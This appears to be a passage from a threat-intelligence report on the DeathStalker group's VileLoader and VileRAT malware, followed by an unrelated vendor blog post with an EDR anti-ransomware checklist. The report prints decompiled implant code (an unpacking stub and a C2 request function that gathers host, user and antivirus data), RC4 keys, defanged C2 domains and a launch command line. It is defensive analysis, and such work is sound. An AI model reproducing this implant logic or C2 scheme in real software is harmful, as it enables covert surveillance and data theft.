The target’s fully qualified login (%USERDOMAIN%%USERNAME%).

Flag that indicates if the mutex creation succeeded (1) or failed (0).

Current process name (e.g., SerenadeDACplApp.exe).

Constant value embedded in the code and equal to 0.

The C2 server then answers in the HTTP response body, with one of the following instructions:

do nothing: the answer is four null bytes;
implant package: the answer is an encoded implant package to parse (see later);
send a screenshot: the answer is a byte of value “1”, followed by three null bytes.

In older variants, VileLoader’s second stage did not embed the screenshot capability, which was, however, implemented in VileRAT.

If the C2 server answers with an implant package, it sends a Type D XORed blob. The resulting data is further decompressed using the LZMA1 algorithm, and contains one or several “files” with the following additional metadata:

A CSIDL value, representing the root folder in which the file must be dropped (resolved with the “SHGetFolderPathW” Windows API function);
A subdirectory name;
A file name;
A task name if the file execution is to be scheduled;
The command-line arguments if the file is to be executed.

If a specific flag is set in the C2 server response data, VileLoader creates a Windows scheduled task for the last dropped file to set up its persistence. The task is created using the ITaskService interface. Finally, the last dropped file is also immediately executed using the “CreateProcessW” Windows API function. It should be noted that some older VileLoader samples executed the downloaded payload in memory, while recent variants tend to drop the downloaded implant on the target’s filesystem.

If the C2 server requests a screenshot, then VileLoader stage 2 sends an HTTP POST request with a cookie whose value is a XORed (Type B algorithm) JSON dictionary containing the following fields:

Target identifier.
Constant value (1).
Screenshot timestamp (in the format “YYYY-MM-DD HH:MM:SS”).

The associated HTTP POST body data is an encoded (using the Type B XOR algorithm) JPEG screenshot.

VileRAT – A super-packed yet still overweight Python implant

VileRAT is the last known stage of the intricate eponym infection chain from DeathStalker. It is an obfuscated and packed Python3 RAT, bundled as a standalone binary with py2exe. We first discovered it in Q2 2020, and it has also subsequently been named PyVil by other vendors.

A note on VileRAT’s seniority

The Python library (DLL) that is embedded in a py2exe-bundled binary usually comes from an official Python release. While analyzing VileRAT samples, we noticed that its Python DLL is a custom compilation of Python 3.7 sources: the DLL version is tagged as “heads/3.7-dirty”[1] (instead of “tags/v3.7.4” for an official release, for instance) and references a shortened Git commit ID of “0af9bef61a”. This shortened commit ID matches one in the source code repository of the 3.7 branch of the standard CPython implementation, which is dated to 2020-05-23. Due to this commit date and considering the fact that we first discovered VileRAT in Q2 2020, we believe with medium to high confidence that VileRAT was first packaged for deployment in June 2020.

Unpacking VileRAT

When we first encountered VileRAT, we noticed that all usual decompiling tools for Python3 (uncompyle6, decompyle3 and unpyc37, to name just a few) failed to correctly retrieve a Python source from the VileRAT bytecode. Some of our industry peers had the same issue when they encountered it as PyVil.

Long story short: the first stage of VileRAT has been obfuscated at the Python bytecode-level, with the intention of breaking existing decompilers (see Figure 13). The bytecode is obfuscated by:

adding multiple operations that do not have any effect when executed (neutral operations) and useless data;
adding confusing branching and exceptions handlers;
inserting invalid bytecode in sections that will never be reached during execution (but that decompilers still try – and fail – to decompile).

Figure 13. VileRAT’s first stage Python bytecode, in its original form (left) and deobfuscated form (right). The only useful instructions of this excerpt are highlighted in red.

Once cleaned at bytecode-level, the first stage of VileRAT unpacking can be properly decompiled as Python code:

import sys
import zlib
import base64
T8 = base64.b64decode
y6 = zlib.decompress
m5 = T8(b'<a 7-million+ characters long base64 string>’)
k9 = bytearray(m5)
Y7 = bytearray(b’0sMIsDYmkeST5ZJHOfHkwmrA5JGVmpBbpKeA’)
N2 = bytearray(len(k9)*bytes([0]))
j = 0
code_length = int(len(k9)/5)
for i in range(code_length):
if i % 3 == 0:
N2[i] = k9[i] ^ Y7[j]
N2[i] = k9[i]
if j + 1 == len(Y7):
j = 0
j += 1
N2[i:] = k9[i:]

VileRAT embeds no less than three layers of unpacking. The efforts that have been put into making a Python script (VileRAT) hard to analyze from a human perspective is a DeathStalker signature by itself, considering they also tried the same for all the other steps in the infection chain, and that it is part of their usual approach.

The last unpacking step finally extracts the VileRAT Python code and a whole bundle of its dependencies in memory – all this content causes py2exe-bundled VileRAT samples to weigh around 12MB. The unpacking leverages decoding (using the Type B XOR algorithm) and BZIP2 decompression. The final VileRAT Python package notably contains a conf.pyc module which includes a version number, as well as default C2 domain names:

SVC_NAME = ‘AJRouter’
server_urls = [‘hxxp://pngdoma[.]com’, ‘hxxp://robmkg[.]com’, ‘hxxp://textmaticz[.]com’, ‘hxxp://goalrom[.]com’]
user_agent_list = [‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36’]

VileRAT versions and functionalities

We analyzed and compared various VileRAT samples, containing version numbers ranging from 2.4 to 8. VileRAT functionalities have not changed much over time, and some functionalities from the earliest sample we analyzed have actually been dropped (such as leveraging SSH as a C2 channel, or screenshotting, the latter now being implemented in VileLoader instead). The remaining functionalities include:

Arbitrary remote command execution, using an existing or downloaded binary;
Establishing SSH connections to remote servers, possibly leveraging them to forward ports of the targeted computer to the remote server;
Setting up persistence using scheduled tasks;
Listing security solutions that are installed on the target computer;
Self-updating from a C2 server.

VileRAT has five distinct and exclusive execution modes, enabled from the command line, which can all be further altered with additional command switches, parameters and/or data from the C2:

Command line option
Internal name(s)
Execution mode description


Arbitrary command execution

The “command” term is quite large: it can either be an existing binary, a shell command, a downloaded executable, a Python package, or an internal VileRAT function. In order to specify the “command”, a JSON dictionary[2] is passed as an optional parameter. Some commands will be executed by starting VileRAT again, using a distinct set of command options. VileRAT exits after this execution.



SSH connection test

VileRAT starts a new process of itself, which connects to a remote SSH server (using a private key), then… closes the connection. This SSH connection used to serve as a C2 channel in previous samples, but the C2 logic has been removed in recent samples. In order to specify the SSH connection settings, a JSON dictionary is passed as an optional parameter. VileRAT exits after this execution.



SSH-tunneled local port forward

VileRAT starts a new process of itself, which connects to a remote SSH server (using a password). This connection is leveraged as a tunnel to forward ports from the target computer to the remote server. In order to specify the SSH connection settings, a JSON dictionary is passed as an optional parameter. VileRAT quits once the remote end has connected to the forwarded port at least once, and subsequently closed the connection.

Arbitrary file deletion

VileRAT attempts to delete a file, whose path is given as a clear text command parameter. VileRAT quits when the file is deleted or when the maximum number of attempts (10) is reached.



Main C2 client mode

This is the main execution mode for VileRAT. It regularly polls a C2 server for commands to execute. The commands that can be executed are one of those described in this table (RUN_R_SSH_SHELL_ARG, RUN_CMD_AS_USER_ARG, RUN_R_DYN_SSH_ARG), or one of the additional VileRAT internal update commands. CMD_UPDATE_SVC triggers a (partial or complete) VileRAT update from a C2-downloaded package, while CMD_UPDATE_CONF can update internal delays and enable a keylogger if the C2 requires so.

In a typical first execution for VileRAT, as we identified in 2022, the implant is started with the following arguments:

ImagesInfo.exe “[u]” -x -m “EDP CredsTask” -i

Note than in this case, the target identifier that is passed as the first argument is not actually exploited by VileRAT, and may just be used by the attacker to easily identify running VileRAT processes later. Older VileRAT variants were usually launched with explicit “-f” and “-t” command line switches: those are now implicit and enabled by default.

Here is the list of some notable VileRAT changes we spotted as the versions evolved, apart from regular updates to fix code bugs or handle uncaught exceptions, refactor code, update dependencies, and change configuration:

Between versions 2.4 and 2.7, VileRAT dropped the capability to use a remote SSH server as a C2 channel, as well as the screenshot implementation;
In version 3.0, the base64-encoded RC4 key which is used for various encryption routines changed from “Ixada4bxU3G0AgjcX+s0AYndBs4wiviTVIAwDiiEPPA=” to “XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=”, and an additional XOR pass (of Type B) was added in encoding schemes. The VileRAT remote update mechanism was refactored, and an additional command switch (called pmode) was added;
In version 3.7, specific Chrome version and Trezor wallet reconnaissance functions that we initially identified for version 2.4 were removed from the code, and VileRAT lost the ability to update from files provided on the filesystem where it was running;
In version 5.4, the way UUID-type identifiers were generated changed;
In version 6.5, an additional command switch (called jmode) was added;
In version 6.6, “-f” and “-t” command options were enabled by default.

VileRAT HTTP C2 protocol

VileRAT’s main C2 communication loop, as executed during Main C2 client mode (as described in VileRAT functionalities above), is quite straightforward and runs in a separate thread:

Every 2-5 minutes, VileRAT tries to send an HTTP POST request to each of the C2 servers that exist in its configuration, until one replies or until the list is exhausted. Environment data is embedded in a JSON dictionary, which is encrypted using RC4, encoded using the Type B XOR algorithm, base64-encoded and URL-encoded, then finally set as the HTTP request URL path (see Figure 14);
A C2 server may reply with an HTTP response, whose body can include an encoded and encrypted JSON array. If so, the JSON must contain at least a command to execute.
def get_request_data(req_type, xmode, pmode):
data = {
‘type’: ‘svc’,
‘xmode’: xmode,
‘pmode’: pmode,
‘req_type’: req_type,
‘svc_ver’: conf.VERSION,
‘svc_name’: conf.SVC_NAME,
‘ext_uuid’: get_ext_uuid(),
‘svc_uuid’: get_service_uuid(),
‘old_svc_uuid’: get_old_service_uuid(),
‘host’: get_hostname(),
‘uname’: get_username(),
‘ia’: win32.hap(),
‘wv’: win32.gwv(),
‘dt’: datetime.datetime.now().strftime(‘%Y-%m-%d %H-%M-%S’),
‘xn’: os.path.basename(sys.executable)
if req_type == REQ_GET_CMD:
data[‘gc’] = global_conf
data[‘klr’] = keylogger.kl_run
data[‘cr’] = win32.is_process_exist(exe_name=’chrome.exe’)
data[‘avs’] = get_av_list()
elif req_type in [REQ_FIRST_RUN, REQ_INSTALL_DONE]:
data[‘avs’] = get_av_list()
enc_data = quote(b64encode(encrypt_xor(rc4_encrypt(json.dumps(data).encode(‘utf-8’)))), safe=”~()*!.'”)
return enc_data

Figure 14. VileRAT C2 request preparation function

Just as in VileLoader, the User-Agent value in HTTP requests is randomly selected from a fixed list of possible values. The JSON that is passed to the C2 server can be broken down as follows:

Fixed value set to “svc”.
True if VileRAT is executed with the xmode command line switch; false otherwise.
True if VileRAT is executed with the pmode command line switch; false otherwise.
Internal C2 command request type, value can be get_cmd, update_done, screenshot, first_run, install_done or klgr.
Internal VileRAT version number as set in VileRAT’s configuration.
Internal VileRAT implant name as set in VileRAT’s configuration.
Partial value of one of the mutexes VileRAT sets to ensure atomic execution. It can either be the same system UUID as the one collected by VileDropper as part of the target identifier generation, or a hard-coded one.
The target identifier, generated again with the same algorithm used in VileDropper.
A hard-coded value, or the same system UUID as the one collected by VileDropper as part of the target identifier generation, but represented using a different (and presumably older) custom algorithm.
Hostname of the target machine.
Username of the target.
1 if the user running VileRAT has administrator privileges; 0 otherwise.
Windows version, formatted as dwMajorVersion.dwMinorVersion (eg. 10.0).
Timestamp of the HTTP request, formatted as YYYY-MM-DD HH-MM-SS.
VileRAT’s filename.
JSON list of installed security products names (e.g., [“windows defender”, “kaspersky internet security”]), as retrieved from WMI by VileRAT.

The C2 answer is expected as an encoded and encrypted JSON list (leveraging the same coding and cryptographic methods as for the JSON in the HTTP request). Each item in the list must be a JSON dictionary that contains at least a “cmd” key. Its value can be one of: update_svc, ssh_rshell, r_cmd, ssh_rdyn or update_conf. Additional JSON key/value pairs can exist in the dictionary and are passed to internal commands as parameters.

A few words about VileRAT’s infrastructure

We looked for specificities in the C2 domains we could retrieve from the samples gathered (either malicious DOCX files, DOTM files and their macros, VileDropper, VileLoader or VileRAT) and that are described in this report. We ignored domains registered before mid-October 2021 because most of them were already disclosed in public sources (all known malicious domains and IPs are listed in full in the indicators of compromise section below). It should be noted that to date, we have identified hundreds of domains associated with VileRAT’s infection chain.

This allowed us to identify some likely VileRAT-specific infrastructure creation preferences:

Starting from October 2021 at the latest, DeathStalker infrastructure IPs all belong to AS42159 (DELTAHOST UA, located in NL). According to our telemetry, DeathStalker likely started to leverage servers with IP addresses from this AS (along with others) as early as June 2021;
Malicious domain names are often batch-registered (several domains on the same day) at NAMECHEAP, Porkbun LLC or PDR Ltd.;
A lot of malicious domain names try to masquerade as seemingly legitimate digital services providers names (such as “azcloudazure[.]com” or “amzbooks[.]org”), and some denote a possible attempt to leverage events of worldwide interest to conduct attack campaigns (such as “weareukrainepeople[.]com” or “covidsrc[.]com”);
Domain usage seems to be separated most of the time (one domain is used only for either infection DOCX/DOTM, VileLoader or VileRAT), and might indicate a desire by the threat actor to tightly cluster its operations. But all those domains usually point to a very limited set of IP addresses;
A quick analysis of the characteristics of the services exposed on C2 IPs during malicious activities allowed us to note common signatures: the HTTP service sends a combination of content and header values that could only be retrieved for such malicious infrastructure.

VileRAT’s targets

From August 2021 to the present day, using only data that we could check with our own telemetry, we identified 10 compromised or targeted organizations in Bulgaria, Cyprus, Germany, the Grenadines, Kuwait, Malta, the United Arab Emirates and the Russian Federation (see Figure 15).

Figure 15. Map of organizations targeted by DeathStalker’s VileRAT campaign (darker color indicates a higher concentration)

We could not profile all the identified organizations, but half of them were foreign currency (FOREX) and cryptocurrency exchange brokers. Some identified malicious documents and infrastructure domains contain (parts of) the targeted organizations’ names, and confirm this targeting.

It should be noted that the identified organizations range from recent startups to established industry leaders, including dubious cryptocurrency exchange platforms. Locating such organizations is extremely difficult from the limited data we have at hand, because a small FOREX company might, for instance, host its infrastructure in various foreign countries, employ several remote workers from different countries, and be legally based in a tax haven.


When we first discovered VileRAT in June 2020, we initially attributed the implant and associated infection chain to DeathStalker. This first attribution was mainly based on similarities with previously known EVILNUM campaigns (common specific metadata in LNK files, similar TTPs – notably the spear-phishing approach leveraging Google Drive files and fake personas, consistent victimology). The tie between EVILNUM campaigns and DeathStalker has already been demonstrated in our previous article.

We still believe with high confidence that the described updated implants and associated infection chain are developed and operated by DeathStalker:

The main implants (VileLoader, VileRAT) that are leveraged for this campaign are updates of previously analyzed ones, and still share a large majority of code and implementation specifics with previous samples;
The various components of the described infection chain (DOCX, macro-enabled DOTM, VileDropper) share implementation logic and techniques that have previously been leveraged by DeathStalker as part of other campaigns (PowerSing and PowerPepper notably):
Using malicious documents (fetched from emails) as an infection vector;
Signaling infection progress and errors to remote servers;
Using a similarly implemented XOR algorithm for string obfuscation (in DOTM macros, and in previously documented PowerPepper loaders);
Leveraging Office object properties as hidden data sources;
Using similarly implemented hash-like functions with a preset constant (to generate a target identifier in VileDropper, to decode an IP address in PowerSing).


VileRAT, its loader and associated infection chain were continuously and frequently updated for more than two years, and are still leveraged to persistently target foreign currency and cryptocurrency exchange brokers, with a clear intent to escape detection.

Escaping detection has always been a goal for DeathStalker, for as long as we’ve tracked the threat actor. But the VileRAT campaign took this desire to another level: it is undoubtedly the most intricate, obfuscated and tentatively evasive campaign we have ever identified from this actor. From state-of-the-art obfuscation with VBA and JS, to multi-layered and low-level packing with Python, a robust multi-stage in-memory PE loader, and security vendor-specific heuristic bypasses, nothing has been left to chance.

Considering the vast and quickly changing associated infrastructure as well, there is no doubt DeathStalker is making a tremendous effort to develop and maintain accesses. Yet, there are some glitches and inconsistencies: a final payload weighing more than 10MB (VileRAT), simple infection vectors, lots of suspicious communication patterns, noisy and easily identified process executions or file deployments, as well as sketchy development practices leaving bugs and requiring frequent implant updates. As a result, an efficient and properly setup endpoint protection solution will still be able to detect and block most of VileRAT’s related malicious activities.

Putting these facts into perspective, we believe DeathStalker’s tactics and practices are nonetheless sufficient (and have proven to be) to act on soft targets who may not be experienced enough to withstand such a level of determination, who may not have made security one of their organization’s top priorities, or who frequently interact with third parties that did not do so. We still, however, cannot determine what DeathStalker’s principal intention against such targets is: it could range from due diligence, asset recovery, information gathering in the context of litigation or arbitration cases, aiding its customers in working around sanctions and/or spying on the targets’ customers, but it still does not appear to be direct financial gain.

Indicators of compromise

Infection DOCX MD5 hashes


Macro-enabled DOTM remote templates MD5 hashes


VileDropper JavaScript MD5 hashes


VileLoader (stage 1 binary) MD5 hashes


VileRAT (standalone) MD5 hashes


C2 IP addresses

2022-07, and 2021-06 to 07 at least
2022-07 at least
2022-06 at least
2022-05 to 06 at least
2022-04 to 06 at least
2022-03 to 04 at least
2022-03 to 04 at least
2022-03 at least
2022-03 at least
2022-01 to 02 at least
2022-01 to 02 at least
2021-12 to 2022-01 at least
2021-12 at least
2021-11 and 08 at least
2021-11 at least
2021-10 at least
2021-10 at least
2021-09 to 10 at least
2021-09 at least
2021-07 to 09 at least
2020-07 at least
2020-07 at least

C2 domain names

Note: the C2 domain names have been identified in our own telemetry or extracted from malicious files that are described in this article and that we analyzed. The domains may still have previously (or later) been used for legitimate purposes as domains may get reused over time. Even if we could not notice such a conflict up to now, the resolution of a hostname that belongs to such domain must better be checked to match previously listed C2 IP addresses, before concluding it is indicative of a compromise.


Suspected C2 domain names

Note: the suspected C2 domain names have been identified because they were both registered in a similar way than known C2 domain names, AND because associated hostnames pointed to known C2 IP addresses during a timeframe of known malicious activity. While we believe with medium to high confidence the vast majority of these domains have been or could be leveraged by DeathStalker, it is still possible that a few of them never support malicious activities.


[1] This is an expected result from the standard CPython build chain: the build configuration will automatically tag a binary with such version naming if compilation is done from sources that do not match a defined tag (for instance, 3.7.4) or are modified.

[2] All JSON dictionaries required by commands are URL-encoded, base64-encoded, and RC4-encrypted with a base64-encoded RC4 key of “XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=” (starting from VileRAT 3.0; previous samples use a different key).

VileRAT is a Python implant, part of an evasive and highly intricate attack campaign against foreign exchange and cryptocurrency trading companies.Read More

Can your EDR handle a ransomware attack? 6-point checklist for an anti-ransomware EDR

Most cybersecurity experts agree that having Endpoint Detection and Response software is essential to fighting ransomware today—but not every EDR is equal.

Businesses, especially small-to-medium sized ones with limited budget or IT resources, need to make sure that their EDR is cost-effective, easy-to-use, and able to reliably stop the growing ransomware threat. So precisely what features should SMBs be looking for in an anti-ransomware EDR, and why?

In this post, Robert Zamani, Regional Vice President, Americans Solutions Engineering at Malwarebytes, gives his 6-point checklist of features your EDR should have to stop ransomware.

Table of contents

How should EDR address ransomware?

At its core, ransomware is an exploitation of trust, Zamani says.

“We place our trust in applications to perform only the functions we intended, Operating Systems to perform functions we authorized, and that our credentials (user ID/password) are used only by authorized personnel. Stolen credentials, phishing attacks, zero-day applications, and OS vulnerabilities exploit our trust in endpoints. And since ransomware stems from exploitation of trust, then EDR is not optional when it comes to mitigating a detected threat.”

A risk management strategy states that we cannot eliminate all system vulnerabilities or block all cyberattacks. In other words, your EDR should be optimized to “prevent what you can and mitigate the rest.”

“Since ransomware stems from exploitation of trust, then EDR is not optional when it comes to mitigating a detected threat.”

Robert Zamani, Regional Vice President, Americans Solutions Engineering

1.   Multi-vector Endpoint Protection (EP) is built-in

The base functionality of any EDR is to notify you of any suspicious activity that is taking place on your systems and offer “response” capabilities to mitigate the detection. However, EDR doesn’t inherently do any prevention: It won’t stop the threat from breaching your environment in the first place. 

Relying solely on EDR as a prevention solution will overwhelm your staff and increase operational costs.

That is why anti-ransomware starts with preventing the known bad, Zamani says. Enter Endpoint Protection (EP), an advanced threat prevention solution for endpoints that uses a layered approach with multi-vector detection techniques.

Many EDR vendors will offer EP as a separate offering—usually, these are just file-based scanners looking for possible clues to malware in binary files. This is the minimal functionality of EP and insufficient because there is more that can be prevented, Zamani says.

EP must reduce the attack surface of ransomware through a combination of comprehensive web protection, application hardening, and other “first-layers of defense”. Since most ransomware attacks start with a phishing email, this primary ‘preventative’ type of endpoint protection is essential.

For a budget-friendly way to get the first layer of ransomware protection, look for an EDR with full-stack Endpoint Protection.

EP gives you a “first-layer of defense” against known and unknown malware, ransomware, and other threats.

2. Maintains visibility and patching regularly

Patching is not just system maintenance, Zamani says. According to the Ponemon Institute, 57% of cyberattack victims report that their breaches could have been prevented by installing an available patch. 

“Application and OS vulnerability assessment and patch management solutions are preventative and reduce the ransomware attack surface on endpoints. A good application and OS, vulnerability management solution must automate inventory and severity classification based on CVSS scoring,” Zamani says. “The sorting by severity and grouping by the asset (endpoint) will allow you to prioritize patching the most valuable endpoints.”

In short, make sure your EDR has some sort of vulnerability and patch management component to make it more difficult for ransomware attackers to breach your systems.

3. Has machine learning (ML) to recognize ‘goodware’ instead of malware

A good EDR is looking for a deviation from good behavior, Zamani says. When an application launches and performs in an expected way, we call that an example of good behavior—and when it doesn’t, the administrator gets an alert notifying them of suspicious activity warranting investigation.

Contrast this with an ML model trained to recognize “bad behavior,” where the model finds patterns in datasets of known malware code. On the low side, there are tens of billions of unique malware, so we can safely assume “bad behavior” is seemingly endless.

The larger the dataset of bad behavior, the greater the chances of misinterpreting good behavior as bad, leading to many false positives.

“Indicators of Compromise (IOC) and Indicators of Attack (IOA) are ill-suited for EDR detections. IOC and IOA define bad, and ‘bad’ mutates, creating 100s of billions of possibilities,” Zamani says. Therefore, a modern EDR heuristics engine must be trained on the good behavior of known-good applications.

Dealing with too many false positives costs time and manpower, distracting you from actual security issues like ransomware. Make sure you choose an EDR that detects deviations from known-good applications to reduce false positives that could distract you in your fight against ransomware.

4. Uses standard reference language and forensic analysis

So your EDR has EP and is looking for deviation from known-good behavior to lower false positives—now, it has sent you a notification of a ransomware threat. The next piece of an anti-ransomware EDR is that the information that comes to you should be standardized both in summary and in detail.

“Traditional, older style EDR will use vendor-specific verbiage for describing the attack,” Zamani says. “But in your EDR, you want the TTPs (tools, techniques, and procedures) of threats to be described in plain English with a common reference number.”

The reference number is necessary for documentation purposes, Zamani says. At the same time, the plain-English description is necessary for you to know at what stage an endpoint was ransomed (because a hacker could have exploited a vulnerability in a still-running application).

“In your EDR, you want the TTPs (tools, techniques, and procedures) of threats to be described in plain English with a common reference number.”

Robert Zamani, Regional Vice President, Americans Solutions Engineering

To avoid unnecessary complexity in figuring out the origin of a ransomware threat, your EDR solution should have an industry standardized way of describing the attack—such as MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge).

“Your EDR needs to tell the story of what happened using the standard reference language of MITRE with direct links to the MITRE ATT&CK reference library,” Zamani says. “It should provide a summary using a Kanban board and a separate process graph with detailed forensics of what and how it happened.”

Your EDR should show you alerts that are standardized both in summary and in detail.

5. Thorough containment, eradication, and recovery options

Look to an EDR to mitigate unforeseen threats and ultimately a new method of ransomware (exploitation of trust), says Zamani.

If one of your endpoints gets infected with ransomware, we want to stop the spread as fast as possible, which NIST defines as “containment” in its “Computer Security Incident Handling Guide.”

Containment prevents lateral movement of an attack by allowing you to contain individual machines, processes, or user-IDs and continue active response activities—making quick and easy containment features a must for your EDR.

But the fight doesn’t stop at containment, says Zamani.

“So you’ve contained and studied a threat with your EDR. That’s great,” says Zamani. “But now you want to do remediation. You want to remotely eradicate the ransomware and restore the endpoint to a known-good state free of malware, virus, unwanted programs including unwanted modification.”

But you may ask: Aren’t eradicating and recovering from ransomware the same thing? Not quite, Zamani says.

“Just because you deleted the artifacts does not restore the endpoint into a state where the machine can function. For example, a registry key says the startup sequence is ‘malware first, and then boot.’ So we remove the nasty registry key ‘malware first’, but if you say nothing else, the system won’t boot!”

In other words, your EDR needs instrumentation that not only eradicates ransomware but actually recovers and restores the machine’s state into a functioning state where it can be returned to the network.

“Your ransomware rollback should store changes to data files on the system in a local cache for 72 hours (no ransomware actually exceeds 24 hours), which can be used to help revert changes caused by ransomware,” Zamani says.

6. Searches for ransomware indicators across all your managed endpoints

What if you want to see if the same ransomware threat you discovered on one of your endpoints is in the early stages of the attack on other endpoints?

“Your EDR should have a search engine that can look at any of the TTPs and search across your network,” Zamani says. “Because you want to see if you can catch something early enough before it hits the point of ransom.”

Look for an EDR that can search data like files, registry, processes, and networking activity so you can threat hunt or analyze how a ransomware compromise occurred in your environment.

Businesses need an EDR that immediately detects and responds to ransomware threats

In this post, cybersecurity expert Robert Zamani explained the features SMBs should look for in an anti-ransomware EDR and why.

Of course, the fight against ransomware doesn’t stop at EDR: you still good cyber hygiene with a well-written and practiced Incident Response Plan (IRP). Looking to further empower your business in the fight against ransomware?

Read our “A Defender’s Guide to Ransomware Resilience” eBook!

More resources

Ransomware protection with Malwarebytes EDR: Your FAQs, answered!

Simplifying the fight against ransomware: An expert explains

Demo: Your data has been encrypted! Stopping ransomware attacks with Malwarebytes EDR